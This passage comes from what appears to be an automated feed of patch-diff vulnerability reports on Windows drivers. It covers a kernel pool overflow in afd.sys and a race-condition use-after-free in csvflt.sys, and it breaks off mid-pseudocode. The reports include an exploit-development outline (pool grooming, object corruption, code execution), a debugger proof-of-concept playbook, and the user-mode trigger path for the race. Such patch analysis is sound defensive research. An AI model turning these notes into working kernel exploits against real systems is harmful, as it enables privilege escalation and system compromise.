2. The transport-address length words (&lt;code&gt;+0x14&lt;/code&gt;, &lt;code&gt;+0x18&lt;/code&gt; of the connection data) must exceed that length. These come from the accepted connection's stored transport address (&lt;code&gt;AfdSanAcceptCore&lt;/code&gt;) or from the SAN connect request buffer (&lt;code&gt;AfdSanConnectHandler&lt;/code&gt;).
3. The ancillary copy additionally requires &lt;code&gt;*( *(IRP+0xB8) + 0x18 ) != 0&lt;/code&gt; (unpatched gate).&lt;/p&gt;
&lt;p&gt;Whether a remote peer can directly control these length fields over the wire is not established by these functions alone; the length words are read from the connection/transport-address structure that AFD has already populated. Reproduction therefore depends on which transport stack populated that structure and how large an address it can present.&lt;/p&gt;
&lt;p&gt;Observable confirmation of an overflow would be pool-corruption bugchecks on a following pool operation (e.g. &lt;code&gt;0x19 BAD_POOL_HEADER&lt;/code&gt;, &lt;code&gt;0xC2 BAD_POOL_CALLER&lt;/code&gt;) or &lt;code&gt;0x50 PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt; when the write crosses the allocation boundary; with pool grooming the corruption can be silent.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;h3&gt;Primitive&lt;/h3&gt;
&lt;p&gt;A relative kernel write past the end of the MDL-mapped accept output allocation. The write:
- &lt;strong&gt;length&lt;/strong&gt; is driven by the 16-bit transport-address length words (&lt;code&gt;+0x14&lt;/code&gt; / &lt;code&gt;+0x18&lt;/code&gt;),
- &lt;strong&gt;content&lt;/strong&gt; is the transport-address bytes,
- &lt;strong&gt;destination&lt;/strong&gt; is the caller's output buffer inside a pool allocation whose length is &lt;code&gt;*( *(IRP+0xB8) + 0x10 )&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Turning it into a full exploit&lt;/h3&gt;
&lt;p&gt;The following is standard kernel-pool-overflow methodology; none of it is specific to a value read out of these binaries:
1. &lt;strong&gt;Pool grooming.&lt;/strong&gt; Place a target object immediately after the accept output allocation by spraying objects of the same size class.
2. &lt;strong&gt;Corrupt an adjacent object.&lt;/strong&gt; Overwrite a &lt;code&gt;LIST_ENTRY&lt;/code&gt; or a callback/field in the following object.
3. &lt;strong&gt;KASLR defeat.&lt;/strong&gt; Requires a separate information leak on modern Windows.
4. &lt;strong&gt;Code execution.&lt;/strong&gt; Redirect control via the corrupted object, subject to the mitigations below.&lt;/p&gt;
&lt;h3&gt;Mitigation considerations&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Pool cookie / safe unlinking, SMEP/SMAP, CFG, and HVCI/VBS all apply as usual on modern Windows x64 and constrain which corruption targets and control-flow strategies are viable.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These notes are general and are not derived from the disassembly; they are included only to characterize the class of the primitive.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;WinDbg / KD attached to &lt;strong&gt;&lt;code&gt;afd_unpatched.sys&lt;/code&gt;&lt;/strong&gt;. Run &lt;code&gt;lm afd&lt;/code&gt; to obtain the load base and add the function-relative offsets below.&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;; (1) Accept IRP completion entry.
bp afd!AfdSanAcceptCore
;     rcx = arg1 (IRP), rdx = arg2 (file-object pointer), r8 = arg3 (IRP-context entry)

; (2) The copy primitive. Stop on every call; r8 = size, rdx = source, rcx = destination.
bp afd!memmove

; (3) The sibling handler with the same unbounded copy.
bp afd!AfdSanConnectHandler
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;What to inspect&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;At &lt;code&gt;afd!AfdSanAcceptCore&lt;/code&gt;:&lt;/strong&gt; after the prologue, &lt;code&gt;rbx&lt;/code&gt; is loaded from &lt;code&gt;*(IRP+0xB8)&lt;/code&gt;; &lt;code&gt;dd rbx+0x10 l1&lt;/code&gt; is the output-buffer length. The connection data pointer (source of the length words) is &lt;code&gt;*(IRP-context+0x18)&lt;/code&gt;, with the address length at &lt;code&gt;+0x14&lt;/code&gt; and the ancillary length at &lt;code&gt;+0x18&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;At &lt;code&gt;afd!memmove&lt;/code&gt;:&lt;/strong&gt; compare &lt;code&gt;@r8&lt;/code&gt; (size) against the output-buffer length at &lt;code&gt;*(rbx+0x10)&lt;/code&gt;; &lt;code&gt;@r8&lt;/code&gt; greater than the length is the overflow condition.&lt;/p&gt;
&lt;h3&gt;Key instructions / offsets (function-relative to &lt;code&gt;AfdSanAcceptCore&lt;/code&gt;)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Address&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x2DC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x1C007C3A8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov edx, [rbx+10h]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Loads the output-buffer length; only zero-checked in unpatched.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x398&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x1C007C464&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call memmove&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Transport-address copy (kernel-transport variant), unbounded.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x3FA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x1C007C4C6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call memmove&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Transport-address copy (user-transport variant), unbounded.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x45D&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x1C007C529&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call memmove&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Ancillary copy (kernel variant), unbounded.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x492&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x1C007C55E&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call memmove&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Ancillary copy (user variant), unbounded.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched&lt;/strong&gt; &lt;code&gt;+0x2FE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x1C007C3CA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp dword [rbx+10h], 0Ch&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ADDED length floor.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched&lt;/strong&gt; &lt;code&gt;+0x404&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x1C007C4D0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmovb r12d, eax&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ADDED size clamp.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Change type&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AfdSanAcceptCore&lt;/code&gt; @ &lt;code&gt;0x1C007C0CC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.8249&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Primary fix.&lt;/strong&gt; Accept IRP completion. Adds a length floor (&lt;code&gt;&amp;gt;= 0xC&lt;/code&gt;), size clamps (&lt;code&gt;cmovb&lt;/code&gt;; overflow-safe &lt;code&gt;sub&lt;/code&gt;/&lt;code&gt;cmp&lt;/code&gt;; &lt;code&gt;cmovnb&lt;/code&gt;/&lt;code&gt;cmovge&lt;/code&gt;), and an ancillary minimum-size gate, all behind &lt;code&gt;Feature_97988921__private_IsEnabledDeviceUsage&lt;/code&gt;. Copy primitive (&lt;code&gt;memmove&lt;/code&gt;) unchanged.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AfdSanConnectHandler&lt;/code&gt; @ &lt;code&gt;0x1C007D410&lt;/code&gt;→&lt;code&gt;0x1C007D550&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.2334&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Sibling SAN handler with the same unbounded peer-address copy. Adds the same feature-gated clamp: bounds &lt;code&gt;*(u16)Src + 2/+4&lt;/code&gt; to the destination capacity &lt;code&gt;(u16)Parameters.Read.ByteOffset.LowPart - 2/-8&lt;/code&gt;, with a &lt;code&gt;&amp;gt;= 6&lt;/code&gt; minimum guard. Low similarity is the added clamp block plus relocation.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AfdBind&lt;/code&gt; @ &lt;code&gt;0x1C0038DB0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.2706&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;behavioral&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Raw-security region gated behind &lt;code&gt;Feature_3299291449__private_IsEnabledDeviceUsage()&lt;/code&gt; (&lt;code&gt;0x1C0009C00&lt;/code&gt;) with a new &lt;code&gt;RequestorMode == 0&lt;/code&gt; branch that selects &lt;code&gt;0x101&lt;/code&gt; vs &lt;code&gt;0x100&lt;/code&gt; as the 7th arg to &lt;code&gt;AfdTdiCreateAO&lt;/code&gt;. The &lt;code&gt;STATUS_ACCESS_DENIED&lt;/code&gt; raw-socket check is unchanged. All other listed deltas are relocation artifacts. Not a memory-safety fix.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AfdSocketTransferEnd&lt;/code&gt; @ &lt;code&gt;0x1C005F9A0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Finding 4.&lt;/strong&gt; Unbind race-protection (&lt;code&gt;AfdPreventUnbind&lt;/code&gt;/&lt;code&gt;AfdReallowUnbind&lt;/code&gt;) around &lt;code&gt;IofCallDriver&lt;/code&gt;+&lt;code&gt;KeWaitForSingleObject&lt;/code&gt; was gated behind &lt;code&gt;Feature_831225147__private_IsEnabledDeviceUsage&lt;/code&gt; in the unpatched build (lock skipped when the flag is off); the patch deletes the gate and makes the lock unconditional. Race/UAF fix (CWE-362 → CWE-416).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AfdSocketTransferBegin&lt;/code&gt; @ &lt;code&gt;0x1C005FBF0&lt;/code&gt;→&lt;code&gt;0x1C005FBE0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.879&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Finding 4 (same mechanism).&lt;/strong&gt; Same &lt;code&gt;Feature_831225147&lt;/code&gt;-gated &lt;code&gt;AfdPreventUnbind&lt;/code&gt;/&lt;code&gt;AfdReallowUnbind&lt;/code&gt; around &lt;code&gt;IofCallDriver&lt;/code&gt;+&lt;code&gt;KeWaitForSingleObject&lt;/code&gt;; gate deleted, lock now unconditional. (Not merely register allocation / relocation.)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AfdGetInformation&lt;/code&gt; @ &lt;code&gt;0x1C00397E0&lt;/code&gt;→&lt;code&gt;0x1C00397F0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.1886&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;security&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Finding 4 (same mechanism).&lt;/strong&gt; Deliver-status handler; the &lt;code&gt;AfdPreventUnbind&lt;/code&gt;/&lt;code&gt;AfdReallowUnbind&lt;/code&gt; pair around &lt;code&gt;AfdIssueDeviceControl&lt;/code&gt; was gated behind &lt;code&gt;Feature_51867961__private_IsEnabledDeviceUsage&lt;/code&gt; (lock skipped when off); the patch deletes the gate and makes the lock unconditional. Not pure switch-table reorganization.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None added or removed (&lt;code&gt;unmatched_unpatched: 0&lt;/code&gt;, &lt;code&gt;unmatched_patched: 0&lt;/code&gt;). The fix is entirely in-place.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; &lt;strong&gt;High&lt;/strong&gt; that the security-relevant change is the addition of bounds clamping on the transport-address copies in &lt;code&gt;AfdSanAcceptCore&lt;/code&gt; and &lt;code&gt;AfdSanConnectHandler&lt;/code&gt;. The unpatched code compares the output-buffer length to zero only and passes the connection's length words to &lt;code&gt;memmove&lt;/code&gt; unbounded; the patched code adds a length floor, size clamps, and a minimum-size gate on the same copies. The direction (unpatched unbounded → patched bounded) is unambiguous.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Caveats and assumptions:&lt;/strong&gt;
- The fix is gated behind &lt;code&gt;Feature_97988921__private_IsEnabledDeviceUsage&lt;/code&gt;. With the feature disabled, the patched code paths fall back to the original unbounded copies; the protection is only active when the flag is enabled.
- The end-to-end reachability from a user-mode &lt;code&gt;accept()&lt;/code&gt; and the exact IOCTL were not traced through the full dispatch table. The confirmed call edges are &lt;code&gt;AfdRestartAccept&lt;/code&gt; → &lt;code&gt;AfdServiceSuperAccept&lt;/code&gt; → &lt;code&gt;AfdSanAcceptCore&lt;/code&gt;, plus direct calls from &lt;code&gt;AfdAccept&lt;/code&gt; and &lt;code&gt;AfdServiceWaitForListen&lt;/code&gt;.
- Whether the transport-address length words are attacker-controlled end-to-end (and to what magnitude) depends on the transport stack that populated the connection/transport-address structure; it is not established by these functions in isolation.
- &lt;code&gt;AfdSanConnectHandler&lt;/code&gt;'s pre-existing size and output-buffer validation (the &lt;code&gt;&amp;lt; 0x14&lt;/code&gt;/&lt;code&gt;&amp;gt; 0xFFFFFFF3&lt;/code&gt; bound, the &lt;code&gt;ExAllocatePoolWithQuotaTag(size + 0xc)&lt;/code&gt; allocation, the &lt;code&gt;&amp;lt; 0x20&lt;/code&gt; / 8 / 0x10 output checks, and the input-length bounds check) are present identically in both builds and are not part of this patch.
- &lt;code&gt;AfdBind&lt;/code&gt; is included for completeness; its change is a feature-gated requestor-mode tweak to an AO-creation flag, not an authorization or memory-safety fix.
- All addresses are as they appear in the diffed images; in a live session use &lt;code&gt;lm afd&lt;/code&gt; and add the function-relative offsets.&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>csvflt.sys — Race Condition (CWE-362) leading to Use-After-Free (CWE-416) in CsvCamSetSecurityInfo fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/csvflt_fbd25564-csvflt-report-20260628-225541.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/csvflt_fbd25564-csvflt-report-20260628-225541.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;csvflt_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;csvflt_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;0.9914&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;536&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;535&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (each side)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch is a one-function surgical fix to a TOCTOU race condition in &lt;code&gt;csvflt!CsvCamSetSecurityInfo (sub_1C0039E30)&lt;/code&gt; that yields a PagedPool Use-After-Free on the global &lt;code&gt;EncryptionManager&lt;/code&gt; signing-context pointer. The race is reachable from a caller that can open the &lt;code&gt;\Csv2_FilterPort&lt;/code&gt; minifilter communication port and send concurrent command-code-1 messages, making it a locally-triggerable kernel-mode memory-corruption bug (dangling-pointer dereference) on Windows Server Failover Clustering nodes with Cluster Shared Volumes enabled. The impact demonstrable from these two binaries is kernel pool corruption / denial of service; a full privilege-escalation chain is not evidenced by the binaries.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding #1 — TOCTOU → UAF on cached signing-context global&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; High&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Race condition (CWE-362) leading to Use-After-Free (CWE-416)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;csvflt_unpatched!CsvCamSetSecurityInfo (sub_1C0039E30)&lt;/code&gt; (entry RVA &lt;code&gt;0x39e30&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pool object:&lt;/strong&gt; PagedPool, &lt;strong&gt;0x28 bytes&lt;/strong&gt;, tag &lt;strong&gt;&lt;code&gt;CVCA&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Root cause&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;CsvCamSetSecurityInfo (sub_1C0039E30)&lt;/code&gt; handles a CSV CAM set-security-info message. It maintains a driver-global pointer, &lt;code&gt;EncryptionManager (data_1c002f518)&lt;/code&gt;, pointing to an &lt;code&gt;Encryption&lt;/code&gt; signing-context object (a small &lt;code&gt;0x28&lt;/code&gt;-byte PagedPool allocation, tag &lt;code&gt;CVCA&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;In the &lt;strong&gt;unpatched&lt;/strong&gt; binary, the function reads this global pointer at &lt;code&gt;0x1c0039e61&lt;/code&gt; &lt;em&gt;without holding any lock&lt;/em&gt;, then immediately dereferences fields &lt;code&gt;+0x20&lt;/code&gt; (&lt;code&gt;0x1c0039e70&lt;/code&gt;) and &lt;code&gt;+0x18&lt;/code&gt; (&lt;code&gt;0x1c0039e77&lt;/code&gt;) of the object it points to.&lt;/p&gt;
&lt;p&gt;Elsewhere in the &lt;strong&gt;same function&lt;/strong&gt;, on the cache-stale path, the code acquires an &lt;code&gt;ERESOURCE&lt;/code&gt; exclusive lock (&lt;code&gt;ExAcquireResourceExclusiveLite&lt;/code&gt; at &lt;code&gt;0x1c0039f6c&lt;/code&gt;), frees the old cached object via &lt;code&gt;Encryption::scalar_deleting_destructor (sub_1c0027c28)&lt;/code&gt; → &lt;code&gt;ExFreePoolWithTag&lt;/code&gt; (&lt;code&gt;0x1c0039f84&lt;/code&gt;), and overwrites the global with a newly allocated object at &lt;code&gt;0x1c0039f90&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Because the &lt;strong&gt;read-and-dereference&lt;/strong&gt; path does not share the same lock as the &lt;strong&gt;free-and-replace&lt;/strong&gt; path, two concurrent invocations of &lt;code&gt;CsvCamSetSecurityInfo (sub_1C0039E30)&lt;/code&gt; can interleave such that:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Thread A reads &lt;code&gt;EncryptionManager (data_1c002f518)&lt;/code&gt; at &lt;code&gt;0x1c0039e61&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Thread B acquires the exclusive lock, frees the object Thread A just read a pointer to, and swaps in a fresh allocation.&lt;/li&gt;
&lt;li&gt;Thread A dereferences the now-dangling pointer at &lt;code&gt;0x1c0039e70&lt;/code&gt;/&lt;code&gt;0x1c0039e77&lt;/code&gt; — &lt;strong&gt;Use-After-Free&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The &lt;strong&gt;patch&lt;/strong&gt; wraps the read of the global inside &lt;code&gt;RWLock::AcquireShared (sub_1c0027d70)&lt;/code&gt; (acquire) / &lt;code&gt;RWLock::ReleaseShared (sub_1c00289ec)&lt;/code&gt; (release) calls on the SAME &lt;code&gt;SigningLock&lt;/code&gt; reader-writer lock that the free+replace path already held exclusively (&lt;code&gt;SigningLock (data_1c002f530)&lt;/code&gt; unpatched, relocated to &lt;code&gt;SigningLock (data_1c002f560)&lt;/code&gt; patched). Readers now take it in shared mode while the writer takes it exclusive; no new lock object was introduced, and the acquire is unconditional (no feature gate, no old path retained). The entry guard is recompiled from &lt;code&gt;mov eax,[rcx+0xd4]; test eax, eax; je&lt;/code&gt; to &lt;code&gt;cmp dword [rcx+0xd4], ebp; jbe&lt;/code&gt; (&lt;code&gt;ebp = 0&lt;/code&gt;); because &lt;code&gt;jbe&lt;/code&gt; against zero is an unsigned "below-or-equal zero", both forms branch away only when the length is exactly zero, so this is an equivalent non-zero check (a codegen difference), not a stricter bound. The second global &lt;code&gt;ReplayCacheManagerObject (data_1c002f508)&lt;/code&gt; / &lt;code&gt;ReplayCacheManagerObject (data_1c002f0b8)&lt;/code&gt; was already read under a shared lock in the unpatched build (&lt;code&gt;ExAcquireResourceSharedLite&lt;/code&gt; at &lt;code&gt;0x1c0039fca&lt;/code&gt;); the patch only re-expresses that same shared acquire through the &lt;code&gt;RWLock::AcquireShared&lt;/code&gt; / &lt;code&gt;RWLock::ReleaseShared&lt;/code&gt; wrapper, which is a refactor rather than a security change. Only the first global (&lt;code&gt;EncryptionManager&lt;/code&gt;) was read with no lock in the unpatched build, and it is the sole security-relevant change.&lt;/p&gt;
&lt;h4&gt;Entry point &amp;amp; data flow&lt;/h4&gt;
&lt;p&gt;Attacker-reachable via the minifilter user-mode communication API:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;FilterConnectCommunicationPort(L"\\Csv2_FilterPort", ...)&lt;/code&gt; — connect to the filter port. The connect-notify callback (&lt;code&gt;CsvConnect (sub_1c0038160)&lt;/code&gt;) accepts a connection context whose first DWORD is &lt;code&gt;1&lt;/code&gt; or &lt;code&gt;2&lt;/code&gt; (client type) and size ≥ 8 bytes.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FilterSendMessage(port, buf, sizeof(buf) ≥ 0xDC, ...)&lt;/code&gt; — issue a command-code-1 message.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DriverEntry (sub_1c003b078)&lt;/code&gt; (DriverEntry) registered the port via &lt;code&gt;FltCreateCommunicationPort&lt;/code&gt;; the message callback is &lt;code&gt;CsvMessage (sub_1c0038460)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CsvMessage (sub_1c0038460)&lt;/code&gt; copies the input into a pool buffer and reads its first DWORD as the command code; when it equals &lt;code&gt;1&lt;/code&gt; and the input length is &lt;code&gt;≥ 0xDC&lt;/code&gt;, it dispatches to &lt;code&gt;CsvCamSetSecurityInfo (sub_1C0039E30)(buf)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CsvCamSetSecurityInfo (sub_1C0039E30)&lt;/code&gt; reads &lt;code&gt;buf+0xd4&lt;/code&gt; (length), then reads global &lt;code&gt;EncryptionManager (data_1c002f518)&lt;/code&gt; &lt;strong&gt;unlocked&lt;/strong&gt; and dereferences it.&lt;/li&gt;
&lt;li&gt;A concurrent &lt;code&gt;FilterSendMessage&lt;/code&gt; invocation on a sibling thread takes the cache-stale path: it acquires the &lt;code&gt;ERESOURCE&lt;/code&gt;, frees the old object, and swaps in a new one.&lt;/li&gt;
&lt;li&gt;First thread dereferences the freed object — UAF.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Unpatched (vulnerable)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;CsvCamSetSecurityInfo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sub_1C0039E30&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;MessageCtx&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// [arg1+0xd4]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;// 0x1c0039e59 — non-zero check&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// ============ VULNERABLE: NO LOCK HELD ============&lt;/span&gt;
